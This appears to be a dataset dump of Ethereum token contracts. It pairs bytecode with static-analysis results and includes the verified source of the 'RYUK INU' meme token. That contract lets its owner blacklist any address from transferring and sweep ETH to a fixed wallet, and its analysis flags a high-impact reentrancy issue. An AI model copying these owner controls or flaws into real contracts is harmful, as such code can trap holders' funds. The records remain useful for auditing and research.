3ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ed7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e57565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610e97565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f89565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f37565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb481611331565b92915050565b600081359050610bc981611348565b92915050565b600060208284031215610be157600080fd5b6000610bef84828501610ba5565b91505092915050565b60008060408385031215610c0b57600080fd5b6000610c1985828601610ba5565b9250506020610c2a85828601610ba5565b9150509250929050565b600080600060608486031215610c4957600080fd5b6000610c5786828701610ba5565b9350506020610c6886828701610ba5565b9250506040610c7986828701610bba565b9150509250925092565b60008060408385031215610c9657600080fd5b6000610ca485828601610ba5565b9250506020610cb585828601610bba565b9150509250929050565b610cc881610ff1565b82525050565b6000610cd982610f6d565b610ce38185610f78565b9350610cf3818560208601611034565b610cfc816110f7565b840191505092915050565b6000610d14602383610f78565b9150610d1f82611108565b604082019050919050565b6000610d37602283610f78565b9150610d4282611157565b604082019050919050565b6000610d5a602683610f78565b9150610d65826111a6565b604082019050919050565b6000610d7d602883610f78565b9150610d88826111f5565b604082019050919050565b6000610da0602583610f78565b9150610dab82611244565b604082019050919050565b6000610dc3602483610f78565b9150610dce82611293565b604082019050919050565b6000610de6602583610f78565b9150610df1826112e2565b604082019050919050565b610e058161101d565b82525050565b610e1481611027565b82525050565b6000602082019050610e2f6000830184610cbf565b92915050565b60006020820190508181036000830152610e4f8184610cce565b905092915050565b60006020820190508181036000830152610e7081610d07565b9050919050565b60006020820190508181036000830152610e9081610d2a565b9050919050565b60006020820190508181036000830152610eb081610d4d565b9050919050565b60006020820190508181036000830152610ed081610d70565b9050919050565b60006020820190508181036000830152610ef081610d93565b9050919050565b60006020820190508181036000830152610f1081610db6565b9050919050565b60006020820190508181036000830152610f3081610dd9565b9050919050565b6000602082019050610f4c6000830184610dfc565b92915050565b6000602082019050610f676000830184610e0b565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f948261101d565b9150610f9f8361101d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd457610fd3611099565b5b828201905092915050565b6000610fea82610ffd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611052578082015181840152602081019050611037565b83811115611061576000848401525b50505050565b6000600282049050600182168061107f57607f821691505b60208210811415611093576110926110c8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61133a81610fdf565b811461134557600080fd5b50565b6113518161101d565b811461135c57600080fd5b5056fea264697066735822122092e9b2e3a7df7dde8eb1d0d84276274b66745dbcb6bfca85022cb607a1de59e064736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,016 |
0x50bbb389a7d4e7e0d85061f4e3b51e84d097ebcc
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: UNLICENSED
/*
僕達がEthereumの新神となる.($RYUK)
https://t.me/ryukinuportal
https://ryukinu.club/
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RYUK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "RYUK INU";
string private constant _symbol = "RYUK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x085b978c1250e33125dF2B0c067a7BF53621928c);
_buyTax = 9;
_sellTax = 9;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/5;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount, uint256 maxHoldAmount) external onlyOwner() {
if (maxTxAmount > 5000000 * 10**9) {
_maxTxAmount = maxTxAmount;
_maxHoldAmount = maxHoldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 6000000 * 10**9;
_maxHoldAmount = 18000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063733ec069116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063733ec0691461029a5780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b8063313ce567116100f2578063313ce5671461021457806346df33b7146102305780636fc3eaec1461025057806370a0823114610265578063715018a61461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad57806323b872dd146101d2578063273123b7146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260088152675259554b20494e5560c01b60208201525b6040516101749190611986565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046117eb565b610414565b6040519015158152602001610174565b3480156101b957600080fd5b50670de0b6b3a76400005b604051908152602001610174565b3480156101de57600080fd5b5061019d6101ed3660046117aa565b61042b565b3480156101fe57600080fd5b5061021261020d366004611737565b610494565b005b34801561022057600080fd5b5060405160098152602001610174565b34801561023c57600080fd5b5061021261024b3660046118e3565b6104e8565b34801561025c57600080fd5b50610212610530565b34801561027157600080fd5b506101c4610280366004611737565b610567565b34801561029157600080fd5b50610212610589565b3480156102a657600080fd5b506102126102b5366004611936565b6105fd565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b506040805180820190915260048152635259554b60e01b6020820152610167565b34801561031b57600080fd5b50610212610645565b34801561033057600080fd5b5061019d61033f3660046117eb565b610884565b34801561035057600080fd5b5061021261035f366004611817565b610891565b34801561037057600080fd5b50610212610923565b34801561038557600080fd5b50610212610963565b34801561039a57600080fd5b506102126103a936600461191d565b610b34565b3480156103ba57600080fd5b506102126103c936600461191d565b610b6c565b3480156103da57600080fd5b506101c46103e9366004611771565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610421338484610ba4565b5060015b92915050565b6000610438848484610cc8565b61048a843361048585604051806060016040528060288152602001611b72602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061100b565b610ba4565b5060019392505050565b6000546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be906119db565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105125760405162461bcd60e51b81526004016104be906119db565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b81526004016104be906119db565b4761056481611045565b50565b6001600160a01b0381166000908152600260205260408120546104259061107f565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016104be906119db565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104be906119db565b6611c37937e0800082111561064157601082905560118190555b5050565b6000546001600160a01b0316331461066f5760405162461bcd60e51b81526004016104be906119db565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107619190611754565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e19190611754565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611754565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610421338484610cc8565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016104be906119db565b60005b8151811015610641576001600660008484815181106108df576108df611b22565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091b81611af1565b9150506108be565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016104be906119db565b600061095830610567565b905061056481611103565b6000546001600160a01b0316331461098d5760405162461bcd60e51b81526004016104be906119db565b600e546109ad9030906001600160a01b0316670de0b6b3a7640000610ba4565b600e546001600160a01b031663f305d71947306109c981610567565b6000806109de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7a9190611958565b5050600f8054661550f7dca70000601055663ff2e795f5000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afc57600080fd5b505af1158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105649190611900565b6000546001600160a01b03163314610b5e5760405162461bcd60e51b81526004016104be906119db565b600f81101561056457600b55565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016104be906119db565b600f81101561056457600c55565b6001600160a01b038316610c065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610d8e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b60008111610df05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b6001600160a01b03831660009081526006602052604090205460ff1615610e1657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5857506001600160a01b03821660009081526005602052604090205460ff16155b15610ffb576000600955600c54600a55600f546001600160a01b038481169116148015610e935750600e546001600160a01b03838116911614155b8015610eb857506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecd5750600f54600160b81b900460ff165b15610f08576000610edd83610567565b9050601054821115610eee57600080fd5b601154610efb838361128c565b1115610f0657600080fd5b505b600f546001600160a01b038381169116148015610f335750600e546001600160a01b03848116911614155b8015610f5857506001600160a01b03831660009081526005602052604090205460ff16155b15610f69576000600955600b54600a555b6000610f7430610567565b600f54909150600160a81b900460ff16158015610f9f5750600f546001600160a01b03858116911614155b8015610fb45750600f54600160b01b900460ff165b15610ff9576000610fc6600583611a99565b9050610fd28183611ada565b9150610fdd816112eb565b610fe682611103565b478015610ff657610ff647611045565b50505b505b611006838383611321565b505050565b6000818484111561102f5760405162461bcd60e51b81526004016104be9190611986565b50600061103c8486611ada565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610641573d6000803e3d6000fd5b60006007548211156110e65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104be565b60006110f061132c565b90506110fc838261134f565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114b5761114b611b22565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119f57600080fd5b505afa1580156111b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d79190611754565b816001815181106111ea576111ea611b22565b6001600160a01b039283166020918202929092010152600e546112109130911684610ba4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611249908590600090869030904290600401611a10565b600060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112998385611a81565b9050838110156110fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b600f805460ff60a81b1916600160a81b1790558015611311576113113061dead83610cc8565b50600f805460ff60a81b19169055565b611006838383611391565b6000806000611339611488565b9092509050611348828261134f565b9250505090565b60006110fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c8565b6000806000806000806113a3876114f6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113d59087611553565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611404908661128c565b6001600160a01b03891660009081526002602052604090205561142681611595565b61143084836115df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147591815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006114a3828261134f565b8210156114bf57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114e95760405162461bcd60e51b81526004016104be9190611986565b50600061103c8486611a99565b60008060008060008060008060006115138a600954600a54611603565b925092509250600061152361132c565b905060008060006115368e878787611658565b919e509c509a509598509396509194505050505091939550919395565b60006110fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100b565b600061159f61132c565b905060006115ad83836116a8565b306000908152600260205260409020549091506115ca908261128c565b30600090815260026020526040902055505050565b6007546115ec9083611553565b6007556008546115fc908261128c565b6008555050565b600080808061161d606461161789896116a8565b9061134f565b9050600061163060646116178a896116a8565b90506000611648826116428b86611553565b90611553565b9992985090965090945050505050565b600080808061166788866116a8565b9050600061167588876116a8565b9050600061168388886116a8565b90506000611695826116428686611553565b939b939a50919850919650505050505050565b6000826116b757506000610425565b60006116c38385611abb565b9050826116d08583611a99565b146110fc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b803561173281611b4e565b919050565b60006020828403121561174957600080fd5b81356110fc81611b4e565b60006020828403121561176657600080fd5b81516110fc81611b4e565b6000806040838503121561178457600080fd5b823561178f81611b4e565b9150602083013561179f81611b4e565b809150509250929050565b6000806000606084860312156117bf57600080fd5b83356117ca81611b4e565b925060208401356117da81611b4e565b929592945050506040919091013590565b600080604083850312156117fe57600080fd5b823561180981611b4e565b946020939093013593505050565b6000602080838503121561182a57600080fd5b823567ffffffffffffffff8082111561184257600080fd5b818501915085601f83011261185657600080fd5b81358181111561186857611868611b38565b8060051b604051601f19603f8301168101818110858211171561188d5761188d611b38565b604052828152858101935084860182860187018a10156118ac57600080fd5b600095505b838610156118d6576118c281611727565b8552600195909501949386019386016118b1565b5098975050505050505050565b6000602082840312156118f557600080fd5b81356110fc81611b63565b60006020828403121561191257600080fd5b81516110fc81611b63565b60006020828403121561192f57600080fd5b5035919050565b6000806040838503121561194957600080fd5b50508035926020909101359150565b60008060006060848603121561196d57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119b357858101830151858201604001528201611997565b818111156119c5576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a605784516001600160a01b031683529383019391830191600101611a3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9457611a94611b0c565b500190565b600082611ab657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ad557611ad5611b0c565b500290565b600082821015611aec57611aec611b0c565b500390565b6000600019821415611b0557611b05611b0c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461056457600080fd5b801515811461056457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bc08db31eb317aa29180483c3187984589bfc072908b4e7c2548c55bed33174164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,017 |
0x2ADdf9e74582b970e93C37e0cd0452735e5852AB
|
pragma solidity ^0.4.16;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
